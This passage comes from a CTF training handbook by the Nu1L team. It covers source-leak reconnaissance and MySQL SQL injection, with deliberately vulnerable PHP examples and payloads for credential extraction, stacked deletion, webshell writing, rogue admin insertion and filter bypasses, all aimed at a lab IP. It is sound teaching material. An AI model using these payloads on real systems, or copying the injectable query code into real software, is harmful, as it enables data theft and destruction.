CTF Handbook
CTF Handbook
Handbook for
CTFers
Handbook for CTFers
Nu1L Team
This Springer imprint is published by the registered company Springer Nature Singapore Pte Ltd.
The registered company address is: 152 Beach Road, #21-01/04 Gateway East, Singapore 189721,
Singapore
Preface
In 2017, we had the idea of writing a book for CTF beginners, but the idea was put
on hold because of the limited number of team members at the time. By the end of
2018, our team Nu1L had grown to nearly 40 members, and the idea of writing a
book was rekindled. After asking many team members and reaching a consensus, we
started writing the book.
After preliminary discussions, we decided to incorporate as many aspects of the
CTF competition as possible, as we wanted the book to be a systematic textbook for
CTF beginners. At the same time, in order to avoid the book becoming a system
security fundamentals book that only lists professional knowledge, we also inter-
spersed the problem-solving tricks and personal experiences to allow the reader to
better integrate, in addition to a large number of CTF-related techniques.
The purpose of this book is to let more people enjoy CTF competitions, have a
better understanding of CTF competitions, and then improve their own techniques
through this book.
v
Structure of the Book
This book is divided into two parts: the online jeopardy-style CTF and CTF finals. In
addition to the content related to CTF competitions, we also share some real-world
vulnerability mining experiences with the readers.
The online jeopardy-style CTF part consists of ten chapters, covering Web, PWN,
Reverse, APK, Misc, Crypto, blockchain, and code auditing. These chapters cover
most of the CTF topic categories, with corresponding example challenges and
solutions, which enable readers to fully understand and learn the corresponding
techniques. At the same time, the content of this book can also be used as a reference
during CTF competitions.
The CTF finals part consists of two chapters, namely AWD and penetration test.
The AWD chapter provides an in-depth introduction to related tricks and flow
analysis; the penetration chapter is closer to the real world, so readers can combine
it with actual practice and gain something from it.
vii
Description
ix
About the Nu1L Team
Nu1L is a CTF team founded in 2015, whose name is derived from the word
“NULL.” Nu1L is one of the top CTF teams in China, with more than 70 members,
and the official website is https://nu1l.com.
Nu1L has competed in a lot CTF competitions around the world with excellent
results, such as,
• DEFCON CHINA & BCTF2018 Champion
• Ranked 1st locally, 4th globally in the 0CTF/TCTF 2018 Finals
• Ranked 1st globally in the LCTF&SCTF for 3 years
• 2019 XCTF Finals Champion
• Ranked 7th in the DEFCON CTF 2021 Finals
• N1CTF(https://ctftime.org/ctf/240) International CTF Organizer
Some of the team members are speakers at Blackhat, HITCON, KCON, and other
security conferences, and participate in professional hacking competitions such as
PWN2OWN and GEEKPWN. Some of the core team members also work for Tea
Deliverers and eee teams.
xi
Acknowledgments
Since CTF involves many professional knowledges, the preparation of this book has
gathered articles from many security researchers as well as some published books
and research works.
Thanks to the 29 members of the Nu1L team who contributed to this book.
Finally, I would like to thank all of you who have believed in, supported, and
helped Nu1L throughout the years.
xiii
Contents
xv
xvi Contents
9 Misc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 627
9.1 Steganography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 628
9.1.1 File Concentration . . . . . . . . . . . . . . . . . . . . . . . . . . . 628
9.1.2 EXIF . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 631
9.1.3 LSB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 632
9.1.4 Blind Watermarks . . . . . . . . . . . . . . . . . . . . . . . . . . . 635
9.1.5 Steganography Summary . . . . . . . . . . . . . . . . . . . . . . 637
9.2 Compressed Archive Encryption . . . . . . . . . . . . . . . . . . . . . . . 637
9.3 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 639
9.4 Forensic Techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 639
9.4.1 Traffic Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 639
9.4.2 Memory Image Forensics . . . . . . . . . . . . . . . . . . . . . . 645
9.4.3 Disk Image Forensics . . . . . . . . . . . . . . . . . . . . . . . . . 648
9.5 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 650
10 Code Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 651
10.1 PHP Code Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 651
10.1.1 Environment Building . . . . . . . . . . . . . . . . . . . . . . . . 651
10.1.2 How to Audit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 659
10.1.3 Examples . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 673
10.2 Java Code Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 684
10.2.1 Learning Experiences . . . . . . . . . . . . . . . . . . . . . . . . . 684
10.2.2 Environment Configuration . . . . . . . . . . . . . . . . . . . . . 686
10.2.3 Decompilation Tools . . . . . . . . . . . . . . . . . . . . . . . . . 690
10.2.4 Introduction to Servlets . . . . . . . . . . . . . . . . . . . . . . . . 690
10.2.5 Introduction to Serializable . . . . . . . . . . . . . . . . . . . . . 694
10.2.6 Deserialization Vulnerabilities . . . . . . . . . . . . . . . . . . . 697
10.2.7 Expression Injection . . . . . . . . . . . . . . . . . . . . . . . . . . 705
10.2.8 Vulnerability Exploits of the Java Web . . . . . . . . . . . . 714
10.3 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 723
11 AWD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 725
11.1 Preparation for the Competition . . . . . . . . . . . . . . . . . . . . . . . . 725
11.2 AWD Tricks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 728
11.2.1 How to React Quickly . . . . . . . . . . . . . . . . . . . . . . . . 728
11.2.2 How to Capture Flags Gracefully and Persistently . . . . 729
11.2.3 Leading or Trailing . . . . . . . . . . . . . . . . . . . . . . . . . . 733
11.3 Traffic Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 734
11.4 Patching Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 734
11.5 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 735
12 Virtual Target Penetration Test . . . . . . . . . . . . . . . . . . . . . . . . . . . 737
12.1 Creating a Penetration Test Environment . . . . . . . . . . . . . . . . . 737
12.1.1 Installing and Using Metasploit on Linux . . . . . . . . . . . 737
12.1.2 Installing and Using Nmap on Linux . . . . . . . . . . . . . . 743
12.1.3 Installing and Using Proxychains on Linux . . . . . . . . . 745
Contents xxi
Web challenges could be seen everywhere in traditional CTF competitions. They are
easier to get started because they do not require in-depth knowledge of operating
systems and complicated assembly instructions than PWN and Reverse challenges.
On the other hand, they do not require strong programming skills compared to
Crypto and MISC challenges.
This chapter will introduce some common Web vulnerabilities in CTF online
competitions and provide readers with a relatively comprehensive concept of CTF
online competitions by analyzing real-world examples. However, Web vulnerabil-
ities classification is very complicated. It is better that readers could learn related
knowledge on the Internet while reading this book to get the best effect.
Based on the frequency and complexity of the techniques to solve challenges, we
divide the Web challenges into three levels: introductory, advanced, and extended.
In this chapter, we will introduce the challenges of each group supplemented by real-
world samples. Readers could understand how different vulnerabilities play a role in
solving challenges, improving step by step, and becoming professional. This chapter
starts from the “introductory” level to introduce the three most common techniques
in solving Web challenges: Information Gathering, SQL Injection Attack, and
Arbitrary File Read Attack.
As the old saying goes, “Knowledge precedes victory; Confusion precedes defeat.”
Information gathering plays an essential role in BUG hunting. In the CTF online
competition, information gathering covers a wide range of information, such as
backup files, directory information, banner information, etc. To find vulnerabilities
faster, BUG hunters need to be familiar with gathering that information and how the
© The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2022 1
Nu1L Team, Handbook for CTFers,
https://doi.org/10.1007/978-981-19-0336-6_1
2 1 Introduction to the Web
information will help. Fortunately, there are a large number of skillful open source
scanning scripts available now. In this section, most information-gathering tech-
niques, including useful open source tools or commercial software, will be
mentioned.
Due to irregular operations, many hidden files with sensitive information will be left
in the directory to be accessed remotely and anonymously. Attackers can use these
files to obtain important information such as source codes and all file names in the
guide.
1. Git leaks
【Vulnerability Introduction】 Git is a primary tributed coding version control system,
and it will automatically generate a .git folder to save branch information. Devel-
opers often forget to delete the .git folder in the production environment, which
allows an attacker to access all versions of source codes committed by developers.
Attackers could be easier to find website vulnerabilities or get sensitive information
such as usernames/passwords/emails.
(1) Basic git leaks in CTF
Basic git leaks: This type of leakage requires a .git folder to have a comprehensive
file structure, and all sensitive information could be found in the latest commit. CTF
players should get the latest commit id in the .git/HEAD file and then use git’s
algorithm to recover source code files that are restored in the .git/objects/ folder to
perform the exploiting process. Now, many tools could automatically crawl these git
objects from the .git folder and recover them. We strongly recommend a tool: https://
github.com/denny0223/scrabble. It is easy to use:
. /scrabble http://example.com/
if __name__ == "__main__":
# main()
baseurl = complete_url('http://127.0.0.1:8000/.git/')
temppath = repalce_bad_chars(get_prefix(baseurl))
fixmissing(baseurl, temppath)
the secret branch information can be restored, find the corresponding commit hash in
the git log, execute the “git diff HEAD b94c” command, and then run “git diff
HEAD b94c”. A flag is captured! See Fig. 1.6.
(4) Other exploits of git leaks
In addition to the common exploit of recovering source code, other useful messages
could be detected. For example, the .git/ config folder may contain access_token
information that allows access to the user's other repositories.
2. SVN leakage
SVN (subversion) is another source code version controlling software. The admin-
istrator might expose the hidden project folder of SVN to public services (usually
webserver). Hackers could download the .svn/entries file or the wc.db file to obtain
the server source code and other information. Two excellent exploiting scripts: dvcs-
ripper (https://github.com/kost/dvcs-ripper) and Seay-svn (Windows source code
backup exploit).
3. HG leakage
When you initialize your project, HG creates a hidden folder of .hg in the current
folder, containing code snaps or branch changelogs. Here is the exploiting script:
dvcs-ripper (https://github.com/kost/dvcs-ripper).
4. Personal experience
Readers can perform secondary development based on existed tools to meet their
own needs. Whether it is a hidden folder like .git or sensitive backend folders like the
1.1 Significant “Information Gathering” 7
With some sensitive backup files, we can get the source code of a file or the whole
sitemap.
1. gedit backup file
Under Linux, after saving with a gedit editor, a file with the suffix “~” will be created
in the current directory, the contents of which will be the content of the file you just
edited. If the file you just saved is named flag, then the file is named flag~, see
Fig. 1.7.
2. vim backup file
vim is currently the most widely used Linux text editor. When a user is editing a file
and exits abnormally. (e.g., when connecting to the server via SSH, the user may
encounter a command-line jam while editing a file with vim due to insufficient
network speed), a backup file is generated in the current directory with the following
filename format.
.filename.swp
This file is used to back up the contents of the buffer, i.e., the file's contents on
exit, as shown in Fig. 1.8.
For SWP backup files, we can use the “vim -r” command to restore the file’s
contents. To create a test demo case, execute the “vim flag” command first and then
close the terminal directly. A .flag.swp file will be generated in the current directory.
To recover the SWP backup file, first create a flag file in the current directory, then
use the command “vim -r flag”, you can get the contents of the file that was edited
when you exited unexpectedly. See Fig. 1.9.
3. Common files
Some common files could leak sensitive messages, and these files are summarized
by experts and listed in directory files of scanning scripts. Here are some examples.
• robots.txt: records some directory and CMS version information.
• readme.md: Records CMS version information, some even have a Github
address.
• www.zip/rar/tar.gz: often the source codes of a website.
4. Personal experience
Some challenge maintainers modify their challenge files online during CTF online
competitions, and SWP backup files are generated due to vim’s feature. Thus players
could unintentionally get source codes or sensitive messages.
1.1 Significant “Information Gathering” 9
The backup file generated by vim on the first abnormally exit is format as *. swp,
the second exit could get *. swo, *. swn would be generated on the third exit. The
official vim manual also contains backup files with name format as *.un.filename.
swp
In addition, in a real-world environment, the backup of a website may often be a
zip file named as the domain name (google.zip) or date (2021-7-1.zip).
In the CTF online competition, the website's banner information (some basic
fingerprints information) plays a significant role in solving challenges, and the
players can often get the solutions from the banner information. For example, if
we know that the site is a windows server, we can exploit the upload vulnerability in
particular ways according to the features of windows. Here are the two most
common ways to identify banners.
1. collect your fingerprint database
There are several publicly available CMS fingerprints on GitHub that readers can
find for themselves and some well-known web scanners to identify websites.
2. Use existing tools
We can make use of the python-Wappalyzer, which is a Python library. The demo
code is listed below.
The apps.json file includes rules in the data directory, and readers can modify it
according to their needs.
3. Personal experience
When performing banner information detection on the server, we can also try to
enter some URLs at will, and sometimes we can find some information through the
404 error pages and 302 redirection pages. For example, the ThinkPHP (a kind of
web application) server with the debug option turned on will display the ThinkPHP
version on error pages.
10 1 Introduction to the Web
During the development process of web applications, many developers use data-
bases for data storage to quickly update the contents. Due to the lack of strict filtering
of the user input, the attacker could inject the possible attack payloads into SQL
query statements and then pass these query statements to the back-end database for
execution, resulting in a situation where the actual statements were executed incon-
sistently. This attack is known as an SQL injection attack.
Most applications put data such as passwords into the database. SQL injection
attacks can leak sensitive information in the system, making it an entry-level
vulnerability into the Web system. Thus, most CTF competitions take SQL injection
as a challenging point, and SQL injection vulnerability is one of the most common
vulnerabilities in real-world applications.
This chapter describes the principles, exploits, defenses, and bypass methods of
SQL injection. Given the space limit and the similarity of the principles of SQL
injection, only the most frequently exploited injection attacks against MySQL
databases during the competitions are covered, no more details about Access,
Microsoft SQL Server, NoSQL, etc. The reader needs to have some basic knowledge
of SQL and PHP to read this chapter.
SQL injection is a technique in which developers do not strictly filter the user input,
which causes the user input to affect the query function, and finally causes the
original information of the database to be leaked, modified, or even deleted. This
section uses simple examples to introduce SQL injection basics in detail, including
digital SQL injection, UNION SQL injection, character SQL injection, Boolean-
blind-based SQL injection, time-based SQL injection, error-based SQL injection,
stack SQL injection, and other injection types corresponding exploiting techniques.
【Test Environment】 Ubuntu 16.04 (IP address: 192.168.20.133), Apache,
MySQL 5.7, PHP 7.2.
The PHP code snap for the first example (sql1.php) is shown below (see comments
for code introduction).
sql1.php
<?php
// Connect to local MySQL with a test database.
$conn = mysqli_connect("127.0.0.1","root","root","test");
// Query the title and content fields of wp_news table, id is the user
input value.
1.2 SQL Injection in CTF 11
The table structure of the database is shown in Fig. 1.10. The contents of the news
table wp_news are shown in Fig. 1.11. The contents of the user table wp_user are
shown in Fig. 1.12.
The goal of this section is to turn the news table query into a query for the admin
table(usually the administrator) 's columns account and password (the password is
usually a hash value, but here it is rendered in plaintext this_is_the_admin_password
for the demonstration) by changing the id value entered in HTTP's GET method. The
12 1 Introduction to the Web
admin’s account and password are the essential credentials of a web system, which
allows an attacker to log in to the backend system and control the entire web system.
The results are shown in Fig. 1.13.
The page displays the same results as the first row of id¼1 in the news table
wp_news in Fig. 1.11. PHP has injected the id¼1 passed by the GET method with
the previous SQL query statement. The original query statement is as follows.
We can get the same result by querying directly in MySQL, see Fig. 1.14.
The contents of most websites on the Internet today are stored in databases, and
the corresponding records are queried from the database through parameters such as
the user’s incoming id and then displayed in the browser, such as “2” in http://192.1
68.20.133/sql1.php?id¼2. The result is in Fig. 1.15.
The following procedure demonstrates a SQL injection attack using the id
parameter entered by the user.
Visiting the link http://192.168.20.133/sql1.php?id¼2, Fig. 1.16 shows the
record with id¼2 in Fig. 1.11, then visiting the link http://192.168.20.133/sql1.
php?id¼3-1, the page still shows the record with id¼2. See Fig. 1.17. This
1.2 SQL Injection in CTF 13
phenomenon means MySQL computes the “3-1” expression and gets 2, then queries
the record with id¼2.
From the behavior of the number computing, we can tell that the injection point is
a numeric SQL injection, as shown by the lack of quotation marks around the input
point “$_GET[‘id’]” (also evidenced by the source code), and we can then enter a
SQL sub-query directly to pollute the original query (see Fig. 1.18 for results).
SELECT title, content FROM wp_news WHERE id = 1 UNION SELECT user, pwd
FROM wp_user
14 1 Introduction to the Web
The purpose of this SQL statement is to query the data in the title and content
fields of the corresponding rows of the news table when id¼1 and to jointly query all
the contents of the user and pwd (i.e., the account password fields) in the user table.
When accessing the web application, we should only enter the content after the id
to access the link: http://192.168.20.133/sql1.php?id¼1 union select user,pwd from
wp_user. The result is shown in Fig. 1.19, where the “%20” is the URL encoding
result of the space. The browser automatically URL-encodes the special characters in
the URI, and the server automatically decodes the URL when it receives the request.
However, Fig. 1.19 does not display the contents of the user and password as
expected. MySQL does query out two rows, but the PHP code dictates that only one
row be displayed on the page, so we need to control the user and password result on
the first row of the query result. There are several ways to do this, such as continuing
to inject the “limit 1,1” to the original query (which displays the second row of the
query result, see Fig. 1.20). The “limit 1,1” is a qualification that takes a one-row
record from the second row. In another example, we could specify id¼-1 or a huge
value so that the first row in Fig. 1.18 cannot be queried (see Fig. 1.21), which results
in only one row (see Fig. 1.22).
1.2 SQL Injection in CTF 15
Usually, the method shown in Fig. 1.22 is used to control result rows. Accessing
http://192.168.20.133/sql1.php?id¼-1 union select user, pwd from wp_user, and the
result is shown in Fig. 1.23.
The injection approach to presenting data to a page using the UNION statement is
commonly referred to as UNION (union query) injection.
Since we already know the database structure in the example we just gave, how
do we know the field name pwd and the table name wp_user in blind pentesting?
After MySQL 5.0 version, it comes with a database information_schema by
default, from which all database names, table names, and field names of MySQL
can be queried. Although the introduction of this database facilitates the query of
database information, it objectively greatly facilitates the exploitation of SQL
injection.
Let us start with a real injection case. Assuming that we do not know anything
about the target database, the first thing we should do is determining if there is a
numerical injection by the same page result of id¼3-1 and id¼2 (i.e., Fig. 1.16 is
consistent with Fig. 1.17), and then we use a union query to find all the other table
names in the database. The corresponding injection process is visiting URL as http://
192.168.20.133/sql1.php?id¼-1 union select 1,group_concat(table_name) from
information_schema.tables where table_schema¼database(), the results are shown
in Fig. 1.24.
16 1 Introduction to the Web
At this point, the first example is over. The key to digital SQL injection is to find
the user input point. Then through addition, subtraction, multiplication, division,
etc., it could be judged that if there are quotation marks wrapped around the input
parameter in a SQL query, some general attack methods could be exploited to obtain
sensitive information in the database.
sql2.php
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$res = mysqli_query($conn, "SELECT title, content FROM wp_news WHERE
id = '".$_GET['id']."'");
$row = mysqli_fetch_array($res);
echo "<center>";
echo "<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";
?>
Compared to sql1.php, it wraps single quotes around the GET parameter input,
making it a string to query in MySQL.
Try using single quotes to close the previous single quotes, and then comment the
rest of the statement with “--%20” or “%23”. Note that the input must be URL
encoded, with “%20” for spaces and “%23” for “#”.
Visit http://192.168.20.133/sql2.php?id¼2%27%23, and the results are shown in
Fig. 1.31.
The contents are successfully displayed, and the MySQL statement is now as
follows.
The single quotation mark entered closes the previous single quotation mark, and
the “#” entered comments the original query's single quotation mark. The query is
executed successfully, and the next steps are consistent with the numeric injection in
Sect. 1.2.1.1,and the results are shown in Fig. 1.32.
Of course, in addition to comments, you can also use single quotation marks to
close the original query’s quotation mark, see Fig. 1.33.
Visit http://192.168.20.133/sql2.php?id¼1' and '1, and the database query state-
ment is shown in Fig. 1.34.
The statements after the keyword “WHERE” represent the condition of the
SELECT operation. Take the previous case as an example, “id¼1” is the query
condition. Here, the keyword “AND” stands for two conditions that should be met,
(1)id¼1 ;(2)‘1’¼¼true. The second condition will always be met since the string ‘1’
is converted to 1(which equals true). The database only needs to query for the row
with id¼1.
20 1 Introduction to the Web
Fig. 1.33 Use single quotation marks to close the original query’s quotation mark
Look again at the statement shown in Fig. 1.35: the first condition is still id¼1,
and the second condition string ‘a’ is forced to be converted to a logical false, so the
condition is not satisfied and the query result is empty. When the page is displayed as
usual, it could prove that condition after AND is true, and when the page is displayed
as empty, the condition after AND is false. Although we do not see the data directly,
we can infer the data by injection, a technique known as Boolean-blind-type SQL
injection.
Here are the technical details about blind-bool-type SQL injection. For example,
if the sensitive data has only one byte, first try to see if the data is ‘a’. If it is, then the
page will display as “id¼1”(first condition). Otherwise, the page will be blank. If the
character being guessed is ‘f’, go to http://192.168.20.133/sql2.php?id¼1' and
sensitive_data¼‘a’, guess ‘a’, and fail to guess, try ‘b’, ‘c’, ‘d’, ‘e’, and fail to
guess, until you try ‘f’, you win, and the page displays as “id¼1”. See the result in
Fig. 1.36.
Of course, this guessing process above is too slow. We can change the symbol
and use “<” to guess characters by range. Go to the link http://192.168.20.133/sql2.
php?id¼1' and sensitive_data < ‘n’ to quickly know that the character's ASCII code
1.2 SQL Injection in CTF 21
is being guessed is less than the ASCII code of character ‘n’, and then use the
dichotomy search algorithm to continue guessing the sensitive character.
The above case is only in a single-character condition, but in reality, most of the
data in the database is not a single character, so how do we get every byte of data in
this case? The answer is to use MySQL’s own functions for data interception, such as
substring(), mid(), and substr(), see Fig. 1.37.
The principle of Boolean-blind-type SQL injection has been briefly described
above, so let us use it to get the password for admin. Query in MySQL (see Fig. 1.38
for results).
Then intercept the first byte of the data (see Fig. 1.39 for results).
sql3.php
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$res = mysqli_query($conn, "SELECT title, content FROM wp_news
WHERE id = '".$_GET['id']."'") OR VAR_DUMP(mysqli_error($conn));
//Display the error
$row = mysqli_fetch_array($res);
echo "<center>";
echo "<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";
?>
This attacking type is called an Error-type SQL injection because MySQL pre-
sents the error message after execution, as shown in Fig. 1.42.
As you can see from the documentation, the second parameter of the updatexml()
function should be a legal XPATH path when it is executed. Otherwise, it will output
the incoming parameter while raising an error, as shown in Fig. 1.43.
Using this feature, for an example of errors display, pass the sensitive information
we want to the second parameter of the updatexml function. Try to access the
link http://192.168.20.133/sql3.php?id¼1' or updatexml(1, concat(0x7e,(select
pwd from wp_user)),1)%23, the result is shown in Fig. 1.44.
In addition, when the target server enables multiple statement execution, arbitrary
database data can be modified using multiple statement execution. This type of
injection environment is called stacked SQL injection.
The source code snap is shown in sql4.php.
sql4.php
<?php
$db = new PDO("mysql:host=localhost:3306;dbname=test", 'root',
'root');
$sql = "SELECT title, content FROM wp_news WHERE id='". $_GET
['id']."'" ;
try {
foreach($db->query($sql) as $row) {
print_r($row);
}
}
catch(PDOException $e) {
echo $e->getMessage();
die();
}
?>
In this situation, you can execute any SQL statement after closing the single
quotes, such as trying to access http://192.168.20.133/sql4.php?id¼1 %27;delete%
20%20from%20wp_files;%23 in a browser. The result could be seen in Fig. 1.45.
This action has deleted all data of table wp_files.
This section introduces numerical-type SQL injection, UNION injection, Bool-
ean blind injection, Time blind injection, and Error-type injection as the basis for
advanced SQL injections. These injection techniques are prioritized for ease of data
leakage: UNION injection > Error-type injection > Boolean blinding injection >
Time blinding injection.
Stacked injections are out of the scope of sorting, as they often need to be used in
combination with other techniques to obtain data.
1.2 SQL Injection in CTF 25
This section will discuss SQL injection techniques from the syntax of SQL state-
ments at different injection point locations.
The SELECT statement is used to query data records and is often used to display an
interface, such as the content of news, etc. The syntax of the SELECT statement is as
follows.
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr[, select_expr . . .]
[FROM table_references
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], . . . [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], . . .]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options | INTO DUMPFILE 'file_name' | INTO var_name [,
var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
sqln1.php
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$res = mysqli_query($conn, "SELECT ${_GET['id']}, content FROM
wp_news");
$row = mysqli_fetch_array($res);
echo "<center>";
echo "<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";
?>
26 1 Introduction to the Web
In this situation, you can take the time-blind-type injection method from Sect.
1.2.1.2 to fetch the sensitive data, but according to MySQL syntax, we have a better
way to display the query results directly into the interface by using the AS alias
keyword. Access the link http://192.168.20.133/sqln1.php?id¼(select%20pwd%
20from%20wp_user)%20as%20title, see Fig. 1.46.
2. injection point at table_reference
Replace the SQL query statement above with the following.
Of course, if you do not know the exact table name, you can fetch table names
from the information_schema.tables table first.
For select_expr and table_reference injection points, the quotes need to be closed
first if the user input is wrapped in quotes. Readers could test the specific statements
locally.
3. The injection point is after WHERE or HAVING.
The SQL query statement is as follows.
This situation has already been discussed in Sect. 1.2.1, Injection Basics, and is
the most common situation encountered in real-world applications.
The situation is similar for the injection point after HAVING.
4. The injection point is after the GROUP BY or ORDER BY.
When you encounter an injection point that is not after WHERE, try it in your local
MySQL environment to see what you can add after the statement to determine where
1.2 SQL Injection in CTF 27
the injection point is, and then do the injection accordingly. Assume the following
code.
After testing, it was found that title¼id desc,(if(1,sleep(1),1)) makes the response
1-second delay, so you can use the time injection method to get the sensitive data.
This section’s cases still widely exist even after most developers have become
security-conscious, mainly because developers cannot use pre-compiled methods to
handle such parameters when writing system frameworks. It is possible to defend
against such injections by simply whitelisting the input values.
5. The injection point is after LIMIT.
By changing the limit number, the page will show more or fewer records. Due to the
syntax limitation, the previous character injection method is not suitable (only
numbers can be injected after LIMIT). Alternatively, we can try injecting by using
the PROCEDURE keyword based on the SELECT syntax, which is only available
for versions of MySQL before 5.6, see Fig. 1.47.
It is also possible to inject based on time, as follows.
The processing time for the BENCHMARK statement is about 1 second. We can
also use the INTO OUTFILE keyword to write a webshell in the web directory under
certain circumstances where we have the write permission. The query is SELECT xx
INTO outfile "/tmp/xxx.php" LINES TERMINATED BY '<?php phpinfo();?>', see
Fig. 1.48.
28 1 Introduction to the Web
The INSERT statement is one type that inserts records into a table and usually is used
in web design where news is added, users sign up, and comments to articles, etc. The
syntax of the INSERT statement is as follows.
Usually, the injection point is located in the field name or field value, and there is
no response message after the execution of the INSERT statement.
1. The injection point is located at tbl_name
If you can comment on subsequent statements with an annotation character, you can
insert specific data directly into the desired table, such as the administrator table, for
example, for the following SQL statement.
The developer expects to control the table’s value as wp_news to insert records
into the news table. Since we can control the table name, we can access http://
192.168.20.132/insert.php?table¼wp_user values(2,‘newadmin’,‘newpass’)%23
and see Fig. 1.49 for the wp_user table before and after accessing the contents. A
new administrator record was inserted in the table.
2. The injection point is located in VALUES.
Assume the following SQL statement.
You can close the single quote and then insert another record. Usually, the
administrator and the regular user are in the same table. The injection statement is
as follows.
An administrator user can be inserted if the second field of the user table
represents the administrator privilege flag. In some cases, we can also insert data
into a field that can be displayed back to the user to get the data quickly. Assuming
that the data from the last field will be displayed on the page, the first user's password
can be injected using the following statement.
INSERT INTO wp_user VALUES(1, 1, '1'), (2, 2, (SELECT pwd FROM wp_user
LIMIT 1));
The UPDATE statement is used for updating database records, such as users
modifying their articles, personal information, etc. The syntax of the UPDATE
statement is as follows.
{expr | DEFAULT}
assignment:
col_name = value
assignment_list:
assignment [, assignment] ...
For example, let us take an example where the injection point is after SET. A
normal update statement is shown in Fig. 1.50, and you can see that the id-data in
line 2 of the original wp_user table has been modified.
When the id-data is controllable, it is possible to modify multiple fields of data, as
follows
The methods to exploit the rest of the injection points are similar to injection
methods of SELECT statements.
1.2 SQL Injection in CTF 31
Most of the DELETE injections come after the WHERE keyword. Suppose the SQL
statement is as follows.
The purpose of the DELETE statement is to delete all data from a table or the
specified rows. Injecting the id parameter will inadvertently make the condition after
WHERE True, resulting in the entire wp_news data being deleted, see Fig. 1.51.
To ensure that there is no interference with normal data, it is common to use the
'and sleep(1)' method to ensure that the condition of WHERE is False, preventing the
statement from being successfully executed, see Fig. 1.52.
This section will cover common defenses and several ways to bypass them, focusing
on providing readers with ideas for bypasses.
In order to defend against SQL injection, some developers simply replace or block
requests with keywords such as SELECT and FROM.
1. filter spaces
In addition to spaces, %0a, %0b, %0c, %0d, %09, %a0 (all URL-encoded, %a0 is
only available in certain character sets) and /**/ combinations, parentheses, etc. can
be substituted for spaces in the code. Suppose the PHP source code is as follows.
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$id = $_GET['id'];
echo "before replace id: $id";
$id = str_replace(" ", "", $id); // Remove spaces
echo "after replace id: $id";
$sql = "SELECT title, content FROM wp_news WHERE id=". $id;
$res = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($res);
echo "<center>";
echo "<h1>". $row['title']." </h1>";
echo "<br>";
echo "<h1>". $row['content']." </h1>";
echo "</center>";
?>
The SQL query fails using the previous payload (see Fig. 1.53) because the space
is stripped, and the title is not shown on the page. Replace the space in payload with
“%09”. The result could be seen in Fig. 1.54.
1.2 SQL Injection in CTF 33
2. filter SELECT
In the case of replacing SELECT with null, you can use a nested form, such as
SESELECTLECT, which is filtered and then changed back to SELECT.
Replace with
Visit http://192.168.20.132/replace.php?id¼-1%09union%09selselectect%091,2
and see Fig. 1.55 for the results.
34 1 Introduction to the Web
3. case matching
In MySQL, the keywords are not case sensitive, so if only “SELECT” is matched, it
can be easily bypassed by using mixed case, such as “sEleCT”.
4. regular matching
The regular match keyword “\bselect\b” can be bypassed by using something like “/
*!50000select*/”, see Fig. 1.56.
5. replaced single or double quotation marks, forgot the backslash
When the following injection points are encountered.
$sql = "SELECT * FROM wp_news WHERE id = 'a\' AND title = 'OR sleep(1)#'"
The backslash of the first controllable point escapes the single quotation mark
preset by controllable point 1, causing controllable point 2 to escape the single
quotation mark, see Fig. 1.57.
As you can see, sleep() was successfully executed, indicating that the Controlled
